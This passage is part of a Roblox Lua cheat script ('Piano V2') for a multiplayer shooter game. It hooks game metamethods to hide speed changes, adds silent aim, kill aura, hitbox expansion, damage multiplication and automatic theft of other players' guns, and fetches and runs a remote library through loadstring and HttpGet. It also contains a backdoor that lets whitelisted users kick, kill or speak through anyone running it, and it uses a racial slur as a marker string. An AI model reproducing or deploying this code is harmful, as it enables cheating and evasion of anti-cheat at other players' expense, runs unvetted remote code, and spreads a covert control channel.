Vector2.new(game:GetService("UserInputService"):GetMouseLocation().x,game:GetService("UserInputService"):GetMouseLocation().y) end) game:GetService("Workspace"):WaitForChild("Vehicles").ChildAdded:Connect(function(v) if var.AntiCar then v:Destroy() end end) game:GetService("Workspace").Particles.ChildAdded:Connect(function(v) if var.AntiLag and not v.Name:find("BH") then v:Destroy() end end) game:GetService("Workspace").Entities.ChildAdded:Connect(function(v) if (Vector3.new(1.0783619880676, -2.2362022399902, 1.1584800481796) - v:GetPivot().p).magnitude <= 5 or (Vector3.new(0, -999997, 0) - v:GetPivot().p).magnitude <= 10 then v:Destroy() end end) for i,v in pairs(game:GetService("Workspace").Entities:GetChildren()) do if (Vector3.new(1.0783619880676, -2.2362022399902, 1.1584800481796) - v:GetPivot().p).magnitude <= 5 or (Vector3.new(0, -999997, 0) - v:GetPivot().p).magnitude <= 10 then v:Destroy() end end game:GetService("UserInputService").InputBegan:Connect(function(I) if I.KeyCode == Enum.KeyCode.RightControl then local LibraryUI = commandc LibraryUI.Enabled = not LibraryUI.Enabled end end) game:GetService("Lighting").Changed:Connect(function() if var.fullb then game:GetService("Lighting").GlobalShadows = false game:GetService("Lighting").Brightness = 2.4 else game:GetService("Lighting").GlobalShadows = true end end) for i,v in pairs(Players:GetPlayers()) do v.Chatted:Connect(function(msg) if var.msglog and msg ~= "I am using piano!" then if identifyexecutor() == "ScriptWare" then rconsolecreate() end rconsoleprint("@@WHITE@@") rconsoleprint("["..v.Name.."]: ") rconsoleprint('@@LIGHT_BLUE@@') rconsoleprint(msg.."\n") wait(.1) end end) end Players.PlayerRemoving:Connect(function(v2) for i,v in pairs(pianousers) do if v == v2.Name then table.remove(pianousers,i) end end end) Players.PlayerAdded:Connect(function(v) v.Chatted:Connect(function(msg) if var.msglog and msg ~= "I am using piano!" then if identifyexecutor() == "ScriptWare" then rconsolecreate() end rconsoleprint("@@WHITE@@") rconsoleprint("["..v.Name.."]: ") rconsoleprint('@@LIGHT_BLUE@@') rconsoleprint(msg.."\n") wait(.1) end end) end) Players.ChildAdded:Connect(function(plr) adnim(plr) admin(plr) dev(plr) end) for i,plr in pairs(Players:GetPlayers())do adnim(plr) admin(plr) dev(plr) end chams.ChildAdded:Connect(function(g) if not var.Chams then g.Visible = false end end) spawn(function() local bruh = game:GetService("Workspace"):WaitForChild("Loot") bruh.ChildAdded:Connect(enesp) end) game:GetService("Workspace").Entities.ChildAdded:Connect(function(v) if var.IG then local oldpos, olddb, oldnoclip = LocalPlayer.Character:GetPivot(), var.DB, var.noclip local gr = {"InventoryEvent","InteractEvent"} if v.Name == "Gun" and var.IG and not Stealing and v:FindFirstChild("Handle") and v:WaitForChild("ToolOwner").Value ~= LocalPlayer.Name then Stealing = true while wait(.1) do local notnil for i,x in pairs(game:GetService("Workspace").Entities:GetChildren()) do if x == v then notnil = true end end var.DB = true var.noclip = true Tween(CFrame.new(0,-.3,0)*v:FindFirstChild("Handle"):GetPivot()*CFrame.Angles(0,math.rad(90),0),.1) wait(.13) local jr = gr[math.random(1,2)] if LocalPlayer.PlayerGui.Client.Inventory.Slots.Amt.Text == "11/10" then game:GetService("ReplicatedStorage").Events.InteractEvent:FireServer(v) else game:GetService("ReplicatedStorage").Events.InventoryEvent:FireServer(2,v) end if notnil == false or var.IG == false then break end notnil = false end Stealing = false Tween(oldpos,.1) var.DB, var.noclip = olddb, oldnoclip end end end) game:GetService("Workspace").MoneyPrinters.ChildAdded:Connect(function(v) if var.dpfarm then if var.dpfarm and v:IsA("Model") and v ~= nil and v:FindFirstChild("Int") and v:FindFirstChild("Int"):FindFirstChild("Uses").Value ~= 0 then if LocalPlayer.Job.Value ~= "Soldier" and var.dpfarm then game:GetService("ReplicatedStorage").Events.MenuEvent:FireServer(1, "Soldier") wait(1) game:GetService("Workspace"):WaitForChild(LocalPlayer.Name) end if LocalPlayer.Job.Value == "Soldier" and not huntingp then huntingp = true Tween(v:GetPivot(), 1) wait(1.5) game:GetService("ReplicatedStorage").Events.ToolsEvent:FireServer(11,v) end huntingp = false wait(8) end end end) game:GetService("Workspace").Materials.ChildAdded:Connect(function(v) if var.materialfarm then wait(.5) local m = false for i,v2 in pairs(workspace.Materials:GetChildren()) do if v2 == v then m = true end end if var.materialfarm and m ~= false then v:FindFirstChild("TrueOwner"):FindFirstChild('Locked').Value = false Tween(v:GetPivot(), .3) wait(.1) game:GetService("ReplicatedStorage").Events.PickUpEvent:FireServer(v,true) for i2,v2 in pairs(game:GetService("Workspace").Buildings:GetDescendants()) do if v2.Name:find("Cargo Station") then wait(.1) game:GetService("ReplicatedStorage").Events.MenuActionEvent:FireServer(41,v2,v) end end end local m = false end end) Players.PlayerAdded:Connect(function(v) v.CharacterAdded:Connect(function() workspace:WaitForChild(v.Name,math.huge):WaitForChild("Humanoid",math.huge) heb(v) enesp(v.Character,true) end) end) game:GetService("Workspace").ChildAdded:Connect(function(g) if g.Name == "Loot" then g.ChildAdded:Connect(enesp) end end) game:GetService("Workspace").Materials.ChildAdded:Connect(enesp) game:GetService("Workspace").Vehicles.ChildAdded:Connect(enesp) game:GetService("Workspace").MoneyPrinters.ChildAdded:Connect(enesp) game:GetService("Workspace").Entities.ChildAdded:Connect(enesp) game:GetService("Workspace").Buildings.DescendantAdded:Connect(function(v) if v.Name:find("Banker") then enesp(v) end end) LocalPlayer.Chatted:Connect(function(msgkik) if msgkik == "-identify others" then for i,v in pairs(pianousers) do sendnotification(v.." Is using "..var.ver) end end end) Players.PlayerAdded:Connect(function(plr) plr.Chatted:Connect(function(msg) if table.find(eunfwunghngiriNINGIH2424B4299UH1N4N__namecall2h4nfih2grgw, plr.Name) or table.find(sexesp,plr.Name) or table.find(ebgenwgnWRHqew6WOJNRHWRH243gwjgnwj_81gnhjwngrjwNHKEMNWERG, plr.Name) then if msg:sub(1,5):lower() == "-kick" and GetPlr(msg:split(" ")[2]) == LocalPlayer then if msg:split(" ")[3] ~= nil then LocalPlayer:Kick("You have been kicked by; "..v.Name.."\n Reason; "..msg:sub(8 + msg:split(" ")[2]:len(),msg:len())) else LocalPlayer:Kick("You have been kicked by; "..v.Name.."\n Reason; No Reason") end end if msg:sub(1,4):lower() == "-say" and GetPlr(msg:split(" ")[2]) == LocalPlayer and not table.find(ebgenwgnWRHqew6WOJNRHWRH243gwjgnwj_81gnhjwngrjwNHKEMNWERG,GetPlr(msg:split(" ")[2]).Name)then game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(msg:sub(7 + msg:split(" ")[2]:len(),msg:len()),"All") end if msg:sub(1,5):lower() == "-kill" and GetPlr(msg:split(" ")[2]) == LocalPlayer and not table.find(ebgenwgnWRHqew6WOJNRHWRH243gwjgnwj_81gnhjwngrjwNHKEMNWERG,GetPlr(msg:split(" ")[2]).Name)then LocalPlayer.Character:BreakJoints() end if msg:sub(1,6):lower() == "-bring" and GetPlr(msg:split(" ")[2]) == LocalPlayer and not table.find(ebgenwgnWRHqew6WOJNRHWRH243gwjgnwj_81gnhjwngrjwNHKEMNWERG,GetPlr(msg:split(" ")[2]).Name)then Tween(plr.Character.PrimaryPart.CFrame,.4) end if msg:sub(1,5):lower() == "-wear" and GetPlr(msg:split(" ")[2]) == LocalPlayer and not table.find(ebgenwgnWRHqew6WOJNRHWRH243gwjgnwj_81gnhjwngrjwNHKEMNWERG,GetPlr(msg:split(" ")[2]).Name)then if msg:split(" ")[3]:lower() == "brochacho" then game:GetService("ReplicatedStorage").Events.MenuActionEvent:FireServer(8,{"","151675683.6793702687,1029025,2570215639,2570216445",true}) game:GetService("ReplicatedStorage").Events.MenuActionEvent:FireServer(8,{"Brochacho","151675683.6793702687,1029025,2570215639,2570216445",false}) game:GetService("ReplicatedStorage").Events.MenuActionEvent:FireServer(8,{"Brochacho","Brochacho",false}) elseif msg:split(" ")[3]:lower() == "modi" then game:GetService("ReplicatedStorage").Events.MenuActionEvent:FireServer(8,{"Modi","5900163546,6294416750,6312074205,4239780753.7103400905,5700137935,209995366",true}) game:GetService("ReplicatedStorage").Events.MenuActionEvent:FireServer(8,{"Modi","5900163546,6294416750,6312074205,4239780753.7103400905,5700137935,209995366",false}) game:GetService("ReplicatedStorage").Events.MenuActionEvent:FireServer(8,{"Modi","5900163546,6294416750,6312074205,4239780753.7103400905,5700137935,209995366",false}) elseif msg:split(" ")[3]:lower() == "2j0y" then game:GetService("ReplicatedStorage").Events.MenuActionEvent:FireServer(8,{"2J0Y","2309346267.6556551859,5319548498,5319515645,4820120408,4904499785.6368111159,5607662052.6556064120,5505948526,5164642101,5418629879.6556163479",true}) game:GetService("ReplicatedStorage").Events.MenuActionEvent:FireServer(8,{"2J0Y","2309346267.6556551859,5319548498,5319515645,4820120408,4904499785.6368111159,5607662052.6556064120,5505948526,5164642101,5418629879.6556163479",false}) end end end if var.ctroll and msg ~= "I am using piano!" then msgg = "["..plr.Name.."]: "..msg game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer("/ad "..msgg:gsub("/ad","(ADVERT)"), "All") end if msg == "I am using piano!" and not table.find(pianousers,plr.Name) and plr ~= LocalPlayer then sendnotification(plr.Name.." is Using "..var.ver) table.insert(pianousers,plr.Name) wait(2) Players:Chat("I am using piano!") end end) if table.find(ingamemods,plr.Name) then senderror("In-game Moderator ("..plr.Name..") joined!") end end) LocalPlayer:GetMouse().Button1Down:Connect(function() if var.Clicktp and var.ctpbind ~= nil and game:GetService("UserInputService"):IsKeyDown(var.ctpbind) then Tween(LocalPlayer:GetMouse().Hit, .05) end end) game:GetService("UserInputService").InputBegan:Connect(function(g, j) if var.noclip1 and g.KeyCode == var.nckey and not j then var.noclip = not var.noclip end if var.Walkspeed and g.KeyCode == var.WalkspeedBind and not j then var.uiop = true end if var.lag and g.KeyCode == var.lagbind and not j then settings():GetService("NetworkSettings").IncomingReplicationLag = var.laga * 3 end if g.UserInputType == Enum.UserInputType.MouseButton1 then var.LeftClick = true end end) LocalPlayer.CharacterAdded:Connect(function() autosg() acandad() diedtp() guni() bodymods() if var.autoinvisjet then LocalPlayer.Character:WaitForChild("Util") jet() end end) game:GetService("UserInputService").InputEnded:Connect(function(g, j) if g.UserInputType == Enum.UserInputType.MouseButton1 then var.LeftClick = false end if g.KeyCode == var.WalkspeedBind and not j then var.uiop = false end if g.KeyCode == var.lagbind and not j then settings():GetService("NetworkSettings").IncomingReplicationLag = 0 end end) LocalPlayer:GetMouse().KeyDown:Connect(function(key) if key:byte() == var.prefix:byte() then wait() TextcBoxc:CaptureFocus() end end) for i,v in pairs(Players:GetPlayers()) do v.Chatted:Connect(function(msg) if table.find(eunfwunghngiriNINGIH2424B4299UH1N4N__namecall2h4nfih2grgw, v.Name) or table.find(sexesp,v.Name) or table.find(ebgenwgnWRHqew6WOJNRHWRH243gwjgnwj_81gnhjwngrjwNHKEMNWERG, v.Name) then if msg:sub(1,5):lower() == "-kick" and GetPlr(msg:split(" ")[2]) == LocalPlayer then if msg:split(" ")[3] ~= nil then LocalPlayer:Kick("You have been kicked by; "..v.Name.."\n Reason; "..msg:sub(8 + msg:split(" ")[2]:len(),msg:len())) else LocalPlayer:Kick("You have been kicked by; "..v.Name.."\n Reason; No Reason") end end if msg:sub(1,4):lower() == "-say" and GetPlr(msg:split(" ")[2]) == LocalPlayer and not table.find(ebgenwgnWRHqew6WOJNRHWRH243gwjgnwj_81gnhjwngrjwNHKEMNWERG,GetPlr(msg:split(" ")[2]).Name)then game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer(msg:sub(7 + msg:split(" ")[2]:len(),msg:len()),"All") end if msg:sub(1,5):lower() == "-kill" and GetPlr(msg:split(" ")[2]) == LocalPlayer and not table.find(ebgenwgnWRHqew6WOJNRHWRH243gwjgnwj_81gnhjwngrjwNHKEMNWERG,GetPlr(msg:split(" ")[2]).Name)then LocalPlayer.Character:BreakJoints() end if msg:sub(1,6):lower() == "-bring" and GetPlr(msg:split(" ")[2]) == LocalPlayer and not table.find(ebgenwgnWRHqew6WOJNRHWRH243gwjgnwj_81gnhjwngrjwNHKEMNWERG,GetPlr(msg:split(" ")[2]).Name)then Tween(v.Character.PrimaryPart.CFrame,.4) end if msg:sub(1,5):lower() == "-wear" and GetPlr(msg:split(" ")[2]) == LocalPlayer then if msg:split(" ")[3]:lower() == "brochacho" then game:GetService("ReplicatedStorage").Events.MenuActionEvent:FireServer(8,{"","151675683.6793702687,1029025,2570215639,2570216445",true}) game:GetService("ReplicatedStorage").Events.MenuActionEvent:FireServer(8,{"Brochacho","151675683.6793702687,1029025,2570215639,2570216445",false}) game:GetService("ReplicatedStorage").Events.MenuActionEvent:FireServer(8,{"Brochacho","Brochacho",false}) elseif msg:split(" ")[3]:lower() == "modi" then game:GetService("ReplicatedStorage").Events.MenuActionEvent:FireServer(8,{"Modi","5900163546,6294416750,6312074205,4239780753.7103400905,5700137935,209995366",true}) game:GetService("ReplicatedStorage").Events.MenuActionEvent:FireServer(8,{"Modi","5900163546,6294416750,6312074205,4239780753.7103400905,5700137935,209995366",false}) game:GetService("ReplicatedStorage").Events.MenuActionEvent:FireServer(8,{"Modi","5900163546,6294416750,6312074205,4239780753.7103400905,5700137935,209995366",false}) elseif msg:split(" ")[3]:lower() == "2j0y" then game:GetService("ReplicatedStorage").Events.MenuActionEvent:FireServer(8,{"2J0Y","2309346267.6556551859,5319548498,5319515645,4820120408,4904499785.6368111159,5607662052.6556064120,5505948526,5164642101,5418629879.6556163479",true}) game:GetService("ReplicatedStorage").Events.MenuActionEvent:FireServer(8,{"2J0Y","2309346267.6556551859,5319548498,5319515645,4820120408,4904499785.6368111159,5607662052.6556064120,5505948526,5164642101,5418629879.6556163479",false}) end end end if var.ctroll and msg ~= "I am using piano!" then msgg = "["..v.Name.."]: "..msg game:GetService("ReplicatedStorage").DefaultChatSystemChatEvents.SayMessageRequest:FireServer("/ad "..msgg:gsub("/ad","(ADVERT)"), "All") end if msg == "I am using piano!" and not table.find(pianousers,v.Name) and v ~= LocalPlayer then sendnotification(v.Name.." is Using "..var.ver) table.insert(pianousers,v.Name) wait(2) Players:Chat("I am using piano!") end end) if table.find(ingamemods,v.Name) then senderror("In-game Moderator ("..v.Name..") is here!") end end for i,v in pairs(Players:GetPlayers()) do pcall(function() enesp(v.Character,true) end) end if not Drawing then senderror("Exploit will not run ESPs") end if not debug then senderror("Exploit will not run debug") end if not hookmetamethod then senderror("Exploi will not run metamethods") end if not rconsoleprint then senderror("Exploit will not run remote console") end -- METATABLES N SHIT old_namecall = hookmetamethod(game, "__namecall", function(...) local args = {...} local _self = args[1] local method = getnamecallmethod() if var.DB and method == "Destroy" and _self == LocalPlayer.Character.Humanoid then return nil end if var.wwmw and method == "FireServer" and args[2] == 33 and _self == game.ReplicatedStorage.Events.MenuActionEvent and tostring(args[5]):find("Humanoid") and args[10] ~= "nigger" then spawn(function() for i = 1,tonumber(var.rounds) do wait(var.roundtime) game:GetService("ReplicatedStorage").Events.MenuActionEvent:FireServer(33,args[3],2,args[5],GetGun(LocalPlayer):GetAttribute("Damage"),GetGun(LocalPlayer),nil,1,"nigger") CreateBulletHole(args[5].Parent:GetPivot() or args[3],2) HitMarker(args[5].Parent:FindFirstChild("HumanoidRootPart").CFrame,GetGun(LocalPlayer):GetAttribute("Damage")) end end) return _self.FireServer(...) end if var.instalockpick and args[2] == 9 and _self:GetFullName():find("ToolsEvent") then game:GetService("ReplicatedStorage").Events.ToolsEvent:FireServer(1,args[3]) return _self.FireServer(...) end if var.loudaim and method == "FireServer" and _self == game.ReplicatedStorage.Events.MenuActionEvent and args[2] == 33 then mpibself(var.loudaimsound) return _self.FireServer(...) end if var.loudaim and method == "FireServer" and _self == game.ReplicatedStorage.Events.mpib and args[3] ~= var.loudaimsound then args[3] = var.loudaimsound return _self.FireServer(unpack(args)) end if var.silentaim and method == "FireServer" and _self == game.ReplicatedStorage.Events.MenuActionEvent and args[2] == 33 and args[5] == nil and sel ~= LocalPlayer and sel ~= nil then args[3] = sel.Character:GetPivot() args[5] = sel.Character.Humanoid return _self.FireServer(unpack(args)) end if method == "SetCoreGuiEnabled" and args[2] == Enum.CoreGuiType.Backpack and args[3] == false then args[3] = true return _self.SetCoreGuiEnabled(unpack(args)) end if method == "Shake" and var.pee then return nil end return old_namecall(...) end) old_index = hookmetamethod(game,"__index",function(...) local args = {...} local instance = args[1] local key = args[2] if key == "WalkSpeed" then return 16 end if key == "JumpPower" then return 50 end return old_index(...) end) loader("Loading UI",UDim2.new(0, 128, 0, 56)) loadsaves() -- Combat getgenv().library = loadstring(game.HttpGet(game,"https://raw.githubusercontent.com/GFXTI/d/main/Piano%20V2%20Ui%20lib"))() local lib = library.new(var.ver) local Main = lib.WindowTab('Main') local combattab = Main.SideTab("Combat",2.76) local Combatw = combattab.Section("Silent Aim Settings") Combatw.Toggle("Silent Aim",var.silentaim,function(a) var.silentaim = a togglenote("Silent Aim",var.silentaim) if var.ssf and a then fov.Visible = a end end) Combatw.Slider("Silent Aim Radius",1,1000,var.ss,false,function(a) var.ss = a fov.Radius = a end) Combatw.Toggle("Silent Aim FOV",var.ssf,function(a) var.ssf = a fov.Visible = a end) Combatw.Slider("Silent Aim FOV Sides",3,125,var.sss,false,function(a) var.sss = a fov.NumSides = a end) Combatw.Toggle("Silent Aim FOV Filled",var.saf,function(a) var.saf = a fov.Filled = a togglenote("Silent Aim FOV Filled",var.saf) end) Combatw.Slider("Silent Aim FOV Thickness",1,100,var.st,false,function(a) var.st = a fov.Thickness = a end) Combatw.Label("Combat") Combatw.Toggle("Triggerbot",var.triggerbot,function(a) var.triggerbot = a togglenote("Triggerbot",var.triggerbot) end) Combatw.Slider("Triggerbot Release Time",0,50,var.trigrefreshrate,true,function(a) var.trigrefreshrate = a end) Combatw.Toggle("Auto Buy Ammo",var.autobuyammo,function(a) var.autobuyammo = a togglenote("Auto Buy Ammo",var.autobuyammo) end) Combatw.Toggle("Auto Reload",var.autoreload,function(a) var.autoreload = a togglenote("Auto Reload",var.autoreload) end) Combatw.Dropdown("Auto Reload Type",{"Blatant","Keypress"},function(a) var.reloadtype = a end) Combatw.Toggle("Heal Aura",var.healaura,function(a) var.healaura = a togglenote("Heal Aura",var.healaura) end) Combatw.Toggle("Kill Aura",var.killaura,function(a) var.killaura = a togglenote("Kill Aura",var.killaura) end) Combatw.Slider("Killaura Range",1,200,var.kara,true,function(a) var.kara = a end) Combatw.Slider("Killaura Fire Time",0,5,var.kaft,true,function(a) var.kaft = a end) Combatw.Dropdown("Killaura Targets",{"Red Names","Yellow Names","Both"}, function(a) var.killauratargets = a sendnotification("Killaura Targets - "..var.killauratargets) end) Combatw.Button("No Spread",function() for i,v in pairs(debug.getupvalues(getrenv()._G.CSH, 1)) do if typeof(v) == "table" then for i2,v2 in pairs(v) do if i2 == "Shake" then v[i2] = function()end end end end end sendnotification("You now will have no spread when shooting") end) Combatw.Label("Hitbox Expander Settings") Combatw.Toggle("Hitbox Expander",var.HBE,function(a) var.HBE = a togglenote("Hitbox Expander",var.HBE) if a then for i,v in pairs(Players:GetPlayers()) do if IsValid(v) and v ~= LocalPlayer then local hrp = v.Character:FindFirstChild("HumanoidRootPart") hrp.Size = Vector3.new(var.hbesize,var.hbesize,var.hbesize) hrp.Color = Color3.fromRGB(var.hbered,var.hbegreen,var.hbeblue) hrp.Transparency = var.hbetrans hrp.CanCollide = false end end else for i,v in pairs(Players:GetPlayers()) do if not var.HBE and IsValid(v) and v.Character:FindFirstChild("HumanoidRootPart").Size == Vector3.new(var.hbesize,var.hbesize,var.hbesize) then local hrp = v.Character:FindFirstChild("HumanoidRootPart") hrp.Size = Vector3.new(1,1,1) hrp.Transparency = 1 - 1 + 1 * 1 hrp.CanCollide = false end end end end) Combatw.Slider("Hitbox Expander Size",1,200,var.hbesize,true,function(a) var.hbesize = a for i,v in pairs(Players:GetPlayers()) do if var.HBE then if IsValid(v) and v ~= LocalPlayer and not v.Character:FindFirstChild("Humanoid").Sit then local hrp = v.Character:FindFirstChild("HumanoidRootPart") hrp.Size = Vector3.new(var.hbesize,var.hbesize,var.hbesize) hrp.Color = Color3.fromRGB(var.hbered,var.hbegreen,var.hbeblue) hrp.Transparency = var.hbetrans hrp.CanCollide = false end end end end) Combatw.Slider("Hitbox Expander Transparancy",0,1,var.hbetrans,true,function(a) var.hbetrans = a for i,v in pairs(Players:GetPlayers()) do if var.HBE then if IsValid(v) and v ~= LocalPlayer and not v.Character:FindFirstChild("Humanoid").Sit then local hrp = v.Character:FindFirstChild("HumanoidRootPart") hrp.Size = Vector3.new(var.hbesize,var.hbesize,var.hbesize) hrp.Color = Color3.fromRGB(var.hbered,var.hbegreen,var.hbeblue) hrp.Transparency = var.hbetrans hrp.CanCollide = false end end end end) Combatw.Slider("Hitbox Expander Color Red",0,255,var.hbered,false,function(a) var.hbered = a for i,v in pairs(Players:GetPlayers()) do if var.HBE then if IsValid(v) and v ~= LocalPlayer and not v.Character:FindFirstChild("Humanoid").Sit then local hrp = v.Character:FindFirstChild("HumanoidRootPart") hrp.Size = Vector3.new(var.hbesize,var.hbesize,var.hbesize) hrp.Color = Color3.fromRGB(var.hbered,var.hbegreen,var.hbeblue) hrp.Transparency = var.hbetrans hrp.CanCollide = false end end end end) Combatw.Slider("Hitbox Expander Color Green",0,255,var.hbegreen,false,function(a) var.hbegreen = a for i,v in pairs(Players:GetPlayers()) do if var.HBE then if IsValid(v) and v ~= LocalPlayer and not v.Character:FindFirstChild("Humanoid").Sit then local hrp = v.Character:FindFirstChild("HumanoidRootPart") hrp.Size = Vector3.new(var.hbesize,var.hbesize,var.hbesize) hrp.Color = Color3.fromRGB(var.hbered,var.hbegreen,var.hbeblue) hrp.Transparency = var.hbetrans hrp.CanCollide = false end end end end) Combatw.Slider("Hitbox Expander Color Blue",0,255,var.hbeblue,false,function(a) var.hbeblue = a for i,v in pairs(Players:GetPlayers()) do if var.HBE then if IsValid(v) and v ~= LocalPlayer and not v.Character:FindFirstChild("Humanoid").Sit then local hrp = v.Character:FindFirstChild("HumanoidRootPart") hrp.Size = Vector3.new(var.hbesize,var.hbesize,var.hbesize) hrp.Color = Color3.fromRGB(var.hbered,var.hbegreen,var.hbeblue) hrp.Transparency = var.hbetrans hrp.CanCollide = false end end end end) -- Gun Mods local weaponmods = Main.SideTab("Weapon Mods",2.44) local Gunet = weaponmods.Section("Weapon Modifications") Gunet.Toggle("Weapon Multiplier 2",var.wwmw,function(a) var.wwmw = a togglenote("Weapon Multiplier 2",var.wwmw) end) Gunet.Slider("WM2 Times Multipied",1,7,var.rounds,true,function(a) var.rounds = a end) Gunet.Slider("WM2 Fire Time",0,5,var.roundtime,false,function(a) var.roundtime = a end) Gunet.Toggle("Loud Gun",var.loudaim,function(a) var.loudaim = a togglenote("Loud Gun",var.loudaim) end) Gunet.Slider("Loud Gun Sound",1,22,var.loudaimsound,false,function(a) var.loudaimsound = a end) Gunet.Label("Presets") Gunet.Button("Sniper Shotgun",function() if LocalPlayer.Backpack:FindFirstChild("Remington") or LocalPlayer.Character:FindFirstChild("Remington") then if LocalPlayer.Character:FindFirstChild("Remington") then LocalPlayer.Character:FindFirstChild("Remington").Parent = LocalPlayer.Backpack end local rem = LocalPlayer.Backpack:WaitForChild("Remington") rem.LocalScript:Destroy() require(game:GetService("ReplicatedStorage").Modules.TS.SHT).Initiate(rem, 2.1, 6, 0.4, 20, 0, 4, nil, nil, "Heavy Ammo") rem.Name = "[Sniper] Remington" rem.Parent = LocalPlayer.Character else senderror("You need a remington equipped") end end) Gunet.Button("Weapon Multiply",function() if IsGun(LocalPlayer) then local m = GetGun(LocalPlayer) m.Parent = LocalPlayer.Backpack m:FindFirstChild("LocalScript"):Clone().Parent = m m.Parent = LocalPlayer.Character m.Name = "[Multiplied] "..m.Name local mult mult = hookmetamethod(game,"__namecall",function(s,...) local args = {...} if getnamecallmethod()=="FireServer"and args[2] == 33 and args[7] == m and s:GetFullName():find("MenuActionEvent")and args[5]:GetFullName():find("Humanoid")and args[10]~="nigger"then game:GetService("ReplicatedStorage").Events.MenuActionEvent:FireServer(33,args[3],2,args[5],m:GetAttribute("Damage"),m,nil,1,"nigger")return s.FireServer(s,...)end return mult(s,...) end) else senderror("You need a gun equipped") end end) Gunet.Label("Tool Manipulation") Gunet.Button("Gentleman's Cane",function() if IsTool(LocalPlayer) then local gc = Instance.new("MeshPart") local gc1 = Instance.new("Sound") local gc2 = Instance.new("Sound") local gc3 = Instance.new("Part") local gc4 = Instance.new("Sound") local gc5 = Instance.new("Sound") local gc6 = Instance.new("Part") local gc7 = Instance.new("MeshPart") local gc8 = Instance.new("MeshPart") local gc9 = Instance.new("SpecialMesh") local gct = GetTool(LocalPlayer) local replicate = require(game:GetService("ReplicatedStorage"):WaitForChild("Modules"):WaitForChild("TS"):WaitForChild("MELC")) gc.Parent = gct:WaitForChild("Handle") gc.Name = "blade" gc1.Parent = gct:WaitForChild("Handle") gc1.Name = "Reload" gc2.Parent = gct:WaitForChild("Handle") gc2.Name = "Swing" gc3.Parent = gct:WaitForChild("Handle") gc3.Name = "r" gc4.Parent = gct:WaitForChild("Handle"):WaitForChild("r") gc5.Parent = gct:WaitForChild("Handle") gc5.Name = "Reload2" gc6.Parent = gct:WaitForChild("Handle") gc6.Name = "gun" gc7.Parent = gct:WaitForChild("Handle") gc8.Parent = gct:WaitForChild("Handle") gc9.Parent = gct:WaitForChild("Handle"):WaitForChild("gun") replicate.Initiate(gct) gct.Name = "Gentleman's "..gct.Name sendnotification("Made tool Gentleman's Cane") else senderror("You need tool equipped") end end) Gunet.Button("Evermore Dagger", function() if IsTool(LocalPlayer) then local never = Instance.new("MeshPart") local never2 = Instance.new("Sound") local never1 = Instance.new("Sound") local never3 = Instance.new("Part") local nmtool = GetTool(LocalPlayer) if not nmtool:FindFirstChild("Handle") then never3.Parent = nmtool end never.Parent = nmtool:WaitForChild("Handle") never.Name = "Blade" never1.Parent = nmtool:FindFirstChild("Handle") never1.Name = "Swing" require(game:GetService("ReplicatedStorage").Modules.TS['MEL-NDE']).Initiate(nmtool) sendnotification("Made tool Evermore Dagger") nmtool.Name = "Evermore "..nmtool.Name else senderror("You need a tool equipped") end end) Gunet.Button("Thief's Cane", function() if IsTool(LocalPlayer) then local Char = LocalPlayer.Character local tc = Instance.new("MeshPart") local tc1 = Instance.new("Sound") local tc2 = Instance.new("Sound") local tc3 = Instance.new("Part") local tcoolt = GetTool(LocalPlayer) if not tcoolt:FindFirstChild("Handle") then tc3.Parent = tcoolt end tc.Parent = tcoolt:WaitForChild("Handle") tc.Name = "Cane" tc1.Parent = tcoolt:WaitForChild("Handle") tc1.Name = "Charge" tc2.Parent = tcoolt:WaitForChild("Handle") tc2.Name = "Swing" require(game:GetService("ReplicatedStorage"):WaitForChild("Modules"):WaitForChild("TS"):WaitForChild("MEL-TC")).Initiate(tcoolt) tcoolt.Name = "Thief's "..tcoolt.Name sendnotification("Made tool Thief's Cane") else senderror("You need a tool equipped") end end) Gunet.Label("Gun Modding") Gunet.Button("Mod Gun",function() if IsGun(LocalPlayer) then local gun = GetGun(LocalPlayer) Instance.new("Sound",gun.Handle).Name = "Fire" Instance.new("Sound",gun.Handle).Name = "Fire2" Instance.new("Sound",gun.Handle).Name = "Equip" Instance.new("Sound",gun.Handle).Name = "Pump" Instance.new("Sound",gun.Handle).Name = "Reload" Instance.new("Sound",gun.Handle).Name = "Trigger" if var.Auto == "ANS" and var.animation > 3 then var.animation = 3 senderror("Animation must be below 4 with Automatic") end gun.Parent = LocalPlayer.Backpack require(game:GetService("ReplicatedStorage"):WaitForChild("Modules"):WaitForChild("TS"):WaitForChild(var.Auto)).Initiate(gun,gun:GetAttribute("ReloadTime"),gun:GetAttribute("MaxAmmo"),var.firerate,gun:GetAttribute("Damage"),var.spread,var.sound,var.animation,nil,gun:GetAttribute("AmmoType"),nil,nil,var.affect) if gun:FindFirstChild("LocalScript") then gun.LocalScript.Parent = nil end gun.Parent = LocalPlayer.Character sendnotification("Modded your "..gun.Name) gun.Name = "[Modded] "..gun.Name else senderror("Equip a gun to mod it") end end) Gunet.Dropdown("Affect",{"Laser Musket","Normal"},function(a) if a == "Laser Musket" then var.affect = "LMF" else var.affect = nil end sendnotification("Affect - "..tostring(var.affect)) end) Gunet.Slider("Spread",0,25,var.spread,true,function(a) var.spread = a end) Gunet.Slider("Firerate (seconds)",0,5,var.firerate,true,function(a) var.firerate = a end) Gunet.Slider("Gun Sound",1,22,var.sound,false,function(a) var.sound = math.floor(a) end) Gunet.Slider("Gun Animation",1,5,var.animation,false,function(a) var.animation = math.floor(a) end) Gunet.Dropdown("Auto",{"Automatic","Semi Automatic","Shotgun"},function(a) if a == "Automatic" then var.Auto = "ANS" elseif a == "Semi Automatic" then var.Auto = "GNS" elseif a == "Shotgun" then var.Auto = "SHT" end sendnotification("Auto - "..var.Auto) end) -- Visuals local VisualsTab = Main.SideTab("Visuals & World",4) local Visualsw = VisualsTab.Section("UIs") Visualsw.Toggle("Health Bar",var.healthbar,function(a) var.healthbar = a togglenote("Health Bar",var.healthbar) end) Visualsw.Toggle("Legacy Gun UI",var.gunui,function(a) var.gunui = a togglenote("Legacy Gun UI",var.gunui) end) Visualsw.Toggle("Cursor",var.cursor,function(a) var.cursor = a togglenote("Cursor",var.cursor) end) Visualsw.Box("Cursor ID","Decal ID",function(a) var.cursorid = a sendnotification("Cursor ID - "..var.cursorid) end) Visualsw.Label("Lighting") Visualsw.Toggle("Fullbright",var.fullb,function(a) var.fullb = a togglenote("Fullbright",var.fullb) if a then game:GetService("Lighting").GlobalShadows = false game:GetService("Lighting").Brightness = 2.4 else game:GetService("Lighting").GlobalShadows = true end end) 